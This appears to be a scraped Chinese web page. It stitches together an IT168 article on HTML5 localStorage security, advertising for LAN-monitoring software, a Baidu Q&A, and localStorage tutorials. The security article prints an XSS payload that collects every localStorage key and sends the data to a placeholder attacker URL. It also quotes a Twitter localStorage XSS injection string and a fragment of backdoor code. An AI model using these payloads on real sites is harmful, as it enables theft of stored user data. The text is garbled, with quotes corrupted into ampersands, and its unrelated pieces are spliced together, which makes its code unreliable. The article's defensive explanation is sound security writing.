window.localstoragee 一个key对应的value存储过多的数据合适吗

您当前位置:&&&&&&&&&
售前咨询热线
HTML5代替Cookie? HTML5本地存储安全性-
大势至公司网络管理软件、公司网管必备软件列表
  【IT168 技术】在HTML5本地存储出现以前,WEB数据存储的方法已经有很多,比如HTTP Cookie,IE userData,Flash Cookie,Google Gears。其实再说细点,浏览WEB的历史记录也算是本地存储的一种方式。到目前位置,HTML5本地存储方式已经获得了广泛的支持,其中支持的浏览器包括:IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+,手机平台包括iPhone 2+和Android 2+。最新的HTML5本地存储规范文档,可以在线查看http://dev.w3.org/html5/webstorage/。  HTML5本地存储的前身就是Cookie,HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:  那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。  (1)、是否可以代替Cookie  浏览器使用Cookie进行身份验证已经好多年,那现在既然localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢。以现在来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。  如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。&script&var i = <span style="color: #;var str = &&;while (localStorage.key(i) != null){&&var key = localStorage.key(i); &&str += key + &: & + localStorage.getItem(key);&&i++;}document.location=&http://your-?stolen=&+&/script&&  攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。  (2)、不要存储敏感信息  从(1)中知道,从远程攻击来看localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说,从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。  五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式:  通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均是采用明文存储数据。  另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。  根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。  (3)、严格过滤输入输出  对于本地存储,为了方便再次加载数据,常常会把数据存储在本地。等再此加载的时候,直接从本地读取数据显示在网页上。在某些情况下,在通过在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么极易可能这些数据被作为HTML代码进行解析,从而产生XSS攻击。  Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。localStorage.setItem(&:USER:&,'{&name&:{&value&:{&store&:{&recentFollowers&:{&value&:&name&script&alert(/xss/)&/script&&}}}}}');&  从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储取数据,然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。  Twitter localStorage XSS 漏洞详细信息可以查看:http://www.wooyun.org/bugs/ wooyun-。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。  (4)、容易遭受跨目录攻击  localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果一个域下的任意路径存在XSS漏洞,整个域下存储的数据,在知道存储名称的情况下,都可以被获取到。  假设下面两个链接是使用localStorage来存储数据:  用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(&name&)。xhack用户并不需要登录blog,他只要访问/xisigr,本地存储数据就会被获取到。  (5)、容易遭受DNS欺骗攻击  Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的,那个时候Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样网站数据的以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门。这样将会造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。  (6)、恶意代码栖息的温床  在第六点中给出&恶意代码栖息的温床&这个小标题有些夸大的效果。其实这里想说的是HTML5本地存储在空间上和时间上都将称为今后存储的趋势,料想&恶意代码们&自然会大雁南飞转移栖息到这张温床。  那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有佳。比如2011.11月份Adobe宣布放弃手机上的FLASH, 而有HTML5全面取而代之。随着时间的推移,HTML5大脚步前行的速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。  上面从理论上分析了,&恶意代码栖息的温床&的可能性。从实际技术上的可行性也是非常简单。下面是在本地留后门的核心代码:window.localStorage.removeItem(&shellcodz&);}
聚生网管官网,宾馆上网管理,学校网络管理制度,禁止网页qq游戏,网络监控软件,酒店网管软件
大势至公司网络管理产品:
1、,是国内最早、最专业的局域网监控软件、上网行为控制系统,可以有效管理公司局域网电脑上网行为,有效屏蔽迅雷下载、禁止迅雷上传,禁止pps上传、禁止看qq直播、禁止局域网玩游戏、禁止登录QQ游戏大厅、禁止员工炒股、限制上班看电影、进行局域网带宽限制、控制打开网页、禁止局域网网购、监控邮件内容、监控邮件附件、记录论坛发帖留言、防ARP攻击、查找局域网手机、禁止手机接入公司局域网、禁止私自安装无线路由器上网、防止无线局域网蹭网等;
2、,专业的上网行为管理服务器、比上网行为管理路由器、上网管理路由器更强大,可以有效禁止电脑游戏、屏蔽网页游戏、限制局域网看视频、禁止别人看视频、限制P2P软件使用、禁止快车下载、局域网控制迅雷下载、限制股票软件、禁止上班炒股行为、进行局域网流量监控、限制带宽软件,禁止员工网络购物、屏蔽购物网站、屏蔽网页视频网站,并且独创了&创新直连&监控模式,国内最快捷、最简单、最安全控制多网段电脑上网行为,监控效率和综合性能最强的硬件网络管理系统、上网行为管理系统。
3、,一款强大的USB端口控制系统,有效禁用USB端口使用、屏蔽U口、禁止电脑使用U盘、屏蔽优盘使用、禁用优盘,禁止移动硬盘使用、禁止手机存储卡使用,可以有效地屏蔽USB存储设备而不影响USB鼠标键盘和非USB设备的使用;同时,还可以禁止修改注册表、禁止修改组策略、禁止修改msconfig启动项、禁止修改计算机管理、禁止F8键进入安全模式、禁止U盘启动电脑、禁止光驱启动电脑;此外,还可以只允许电脑访问特定网站,只让打开特定程序、只让运行特定软件或者禁止运行某些程序、禁止访问某些网站等;
4、,是一款强大的共享文件服务器监控软件、服务器文件管理系统、服务器文件访问控制软件,最有效监控服务器共享文件的访问,详细记录修改服务器共享文件、删除服务器共享文件、复制服务器共享文件、剪切服务器共享文件或者打印服务器共享文件的行为,以及重命名共享文件等;同时,记录访问共享文件者的IP地址、MAC地址、主机名和域账号等信息,从而可以为网管员提供详细的服务器文件访问日志,便于加强服务器共享文件管理,保护单位无形资产和商业机密等;
5、,是一款专业的公司局域网接入管理软件、内网接入控制系统,可以有效防止非公司电脑访问公司局域网、禁止外部电脑访问公司局域网、限制外来电脑接入公司局域网、禁止手机接入公司局域网、禁止手机无线上网、限制平板电脑无线上网,检测局域网处于混杂模式的网卡,防止局域网抓包、防止局域网嗅探;同时,还可以查找局域网无线路由器,禁止无线路由器接入公司局域网,禁止无线路由器上网,禁止局域网启用代理,限制员工代理上网,禁止电脑安装代理软件为其他电脑提供代理上网服务等;
6、,是一款专门由于管理共享文件访问、进行共享文件访问权限设置的软件,通过在开启共享文件的电脑或服务器安装以后就可以为本地账号分配共享文件的不同访问权限,这样局域网用户访问共享文件的时候就只能&读取&共享文件而禁止拷贝共享文件的内容、禁止将共享文件另存为本地磁盘、禁止打印共享文件;同时,对共享文件加密后用户访问共享文件的时候将被限定在一个特定的共享文件列表框内访问操作,可以禁止拖拽共享文件、禁止拷贝共享文件、禁止剪切共享文件到访问者自己的电脑,从而也可以防止U盘复制共享文件、防止通过网盘上传共享文件、防止通过FTP上传共享文件以及防止通过QQ将共享文件发送到外面去,从而全面保护了共享文件的安全。
国内领先企业网络管理方案提供商——大势至(北京)软件工程有限公司简介:大势至公司是国内专业的企业上网管理软件、局域网网络管理软件提供商,公司核心产品:聚生网管监控软件(有效禁止局域网下载、禁止局域网玩游戏、禁止在线看视频、禁止上网软件、禁止局域网下载、局域网网速控制软件、局域网禁用随身wifi、禁止上网购物、限制局域网网购、局域网限速管理软件、局域网控制上网软件、局域网流量监控软件、局域网带宽分配软件、上网行为管理系统、计算机网络管理软件、最好用的网管软件、免费网管软件下载、计算机网络管理软件排行榜第一名……);大势至服务器共享文件管理软件(是一款专门监控服务器共享文件访问日志的软件,详细记录服务器共享文件的打开、读取、复制、修改、删除、剪切和重命名等操作,防止删除服务器共享文件、禁止复制服务器共享文件,分配共享文件访问权限,是一款专门的服务器文件管理软件、文件共享服务器监控软件、局域网共享文件设置软件、局域网共享文件管理软件……);大势至网络准入控制系统(一款专门的局域网接入管理软件,禁止外来电脑接入局域网、隔离局域网电脑、禁止电脑相互通讯、检测局域网无线路由器、检测局域网手机、防止蹭网、禁止局域网代理上网、防止网络嗅探、禁止修改MAC地址、禁止修改IP地址、绑定IP和MAC地址、禁止外来电脑上网、禁止外来电脑访问公司文件服务器、禁止访问共享文件、禁止非公司电脑接入公司局域网,实现全面的局域网网络接入控制和安全防范……);大势至电脑USB禁用软件(一款禁用U盘软件、电脑USB接口禁用软件、计算机USB端口禁用软件、微机USB屏蔽软件、禁用USB存储设备、禁用手机存储卡、禁止复制电脑文件到U盘、禁用360随身wifi、屏蔽随身wifi、禁止wifi共享、禁止修改注册表、禁止打开组策略、禁止U盘启动电脑、禁止光驱启动电脑、WIN7禁止安装软件、禁止电脑运行软件、禁止发邮件、禁止网盘上传文件、禁止QQ发文件、禁用光驱、只让电脑运行某个软件、禁止电脑上网、只让电脑打开某个网站、只让电脑运行某些程序等)。大势至四款核心局域网电脑管理软件可以协调配合,为企业提供全面的员工上网行为管理、电脑文件安全管理软件和商业机密保护,保障企业高效率、稳健运转!
京ICP备号 京公网安备localstorage 一个key对应的value存储过多的数据合适吗_百度知道
localstorage 一个key对应的value存储过多的数据合适吗
提问者采纳
这样相互之间就不会有影响,每一个输入框的key都不一样、 使用多个key&#47。value是一个字符串; value的形式存储的,是以key /value组合: 一,因此你要保存多个数据,有几种方式可以实现localstoage保存的数据
其他类似问题
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁localStorage和userdata,兼容的本地持久化存储 | IT-北北报今天看啥 热点:
&&&&&&& 在前端开发中,我们会常遇到要在两个甚至多个html之间通信,我们可以在url中添加参数,但是当要传递的数据量较大较多时呢,不妨试试html5 的localStorage吧。&
&&&&&& 1) 检测你的浏览器是否支持localStorage:
&&&&&&&&&&& if(window.localStorage){
&&& &&&&&&&&&&&&&& alert('YES!');
&&&&&&&&&& } else alert('NO!');
&&&&&& 2) 数据都是以键值对的形式存储在localStorage中的,使用时直接在window.localStorage中添加一个属性就可以了,定义和修改的示例如下:
&&&&&&&&&&& //在window.localStorage添加一个test属性,并赋值test1的三种实现方式
&&&&&&&&&&& & localStorage.test = &test1&;
&&&&&&&&&&&& &localStorage[&test&] = &test1&;&&&&
&&&&&&&&&&&& &localStorage.setItem(&test&,&test1&);
&&&&&&&&&&&& //属性值得修改同其的定义方式一样
&&&&&&&&&&& //属性值的获取
&&&&&&&&&& &var test = localStorage.
&&&&&&&&&& &var test = localStorage[&test&];
&&&&&&&&&& &var test = localStorage.getItem(&test&);
&&&&&&&&&& //属性的删除
&&&&&&&&& &localStorage.removeItem(&test&);//清除属性test
&&&&&&&&& &localStorage.clear();//清除所有的属性
&&&&&& 3) localStorage提供的key()和length可以方便的实现所有属性的数据遍历,例:
&&&&&&&& & var storage = window.localS
&&&&&&&&&& var key = &&;
&&&&&&&&&& for(var i = 0;I & storage.i++){
&&&&&&&&&&&&&& key = storage.key(i);
&&&&&&&&&&&&& &console.log(key + & : & + localStorage.getItem(key));
&&&&&& && }
&&& 4)localStorage仅能存储这种key/value键值对形式的数据,如果我们要存储的数据量比较大那,可以试试把这些数据转化为json数据,作为value值存储进去。如:
&&&&&&& &//set the infomation
&&&&&&&&& &var json = {&name&:&echo&,&message&:&hello localStorage&,&id&:1};
&&&&&&&&& &localStorage.setItem(&info&,json);
&&&&&&&&//get the information
&&&&&&&&& var info = localStorage.getItem(&info&);
&&&&&&& & info = eval(&(& + info + &)&);
&&&&&&&&& console.log(&name:&+info.name+& message:&+info.message);
&&& 5)如果你用html5 的canvas做开发,你可以把这个canvas的内容生成一个快照在另一个html中显示,如:
&&&&&&&& &//普通canvas实现
&&&&&&&&&&& var canvas = document.getElementById(&canvas&);
&&&&&&&&&&& var url = canvas.toDataURL(&image/png&);
&&&&&&&&&& &localStorage.setItem(&image&,url);
&&&&&&&& //如果你用webgl做3D开发,可这么实现
&&&&&&&&&&& var url = renderer.domElement.toDataURL('image/png','name');
&&&&&&&&&&& localStorage.setItem("image",url);
&&& 6)最后,localstorage唯一的优点就是语法简单,但是性能并不是很好,能不用的时候尽量不用。
相关搜索:
相关阅读:
相关频道:
&&&&&&&&&&&&&&&&&&
HTML5网友精品Web Storage:浏览器端数据储存机制 -- JavaScript 标准参考教程(alpha)
Web Storage:浏览器端数据储存机制
来自,by 阮一峰
这个API的作用是,使得网页可以在浏览器端储存数据。它分成两类:sessionStorage和localStorage。
sessionStorage保存的数据用于浏览器的一次会话,当会话结束(通常是该窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的属性和方法完全一样。
它们很像cookie机制的强化版,能够动用大得多的存储空间。目前,每个域名的存储上限视浏览器而定,Chrome是2.5MB,Firefox和Opera是5MB,IE是10MB。其中,Firefox的存储空间由一级域名决定,而其他浏览器没有这个限制。也就是说,在Firefox中,和共享5MB的存储空间。另外,与cookie一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取。
通过检查window对象是否包含sessionStorage和localStorage属性,可以确定浏览器是否支持这两个对象。
function checkStorageSupport() {
// sessionStorage
if (window.sessionStorage) {
return true;
return false;
// localStorage
if (window.localStorage) {
return true;
return false;
存入/读取数据
sessionStorage和localStorage保存的数据,都以“键值对”的形式存在。也就是说,每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。
存入数据使用setItem方法。它接受两个参数,第一个是键名,第二个是保存的数据。
sessionStorage.setItem(&key&,&value&);
localStorage.setItem(&key&,&value&);
读取数据使用getItem方法。它只有一个参数,就是键名。
var valueSession = sessionStorage.getItem(&key&);
var valueLocal = localStorage.getItem(&key&);
removeItem方法用于清除某个键名对应的数据。
sessionStorage.removeItem(&#39;key&#39;);
localStorage.removeItem(&#39;key&#39;);
clear方法用于清除所有保存的数据。
sessionStorage.clear();
localStorage.clear();
利用length属性和key方法,可以遍历所有的键。
for(var i = 0; i & localStorage.length; i++){
console.log(localStorage.key(i));
其中的key方法,根据位置(从0开始)获得键值。
localStorage.key(1);
storage事件
当储存的数据发生变化时,会触发storage事件。我们可以指定这个事件的回调函数。
window.addEventListener(&storage&,onStorageChange);
回调函数接受一个event对象作为参数。这个event对象的key属性,保存发生变化的键名。
function onStorageChange(e) {
console.log(e.key);
除了key属性,event对象的属性还有三个:
oldValue:更新前的值。如果该键为新增加,则这个属性为null。
newValue:更新后的值。如果该键被删除,则这个属性为null。
url:原始触发storage事件的那个网页的网址。
值得特别注意的是,该事件不在导致数据变化的当前页面触发。如果浏览器同时打开一个域名下面的多个页面,当其中的一个页面改变sessionStorage或localStorage的数据时,其他所有页面的storage事件会被触发,而原始页面并不触发storage事件。可以通过这种机制,实现多个窗口之间的通信。所有浏览器之中,只有IE浏览器除外,它会在所有页面触发storage事件。
Ryan Stewart,
Feross Aboukhadijeh,
Ben Summers,
Stack Overflow,
Please enable JavaScript to view the
| last modified on}

我要回帖

更多关于 localstorage是什么 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信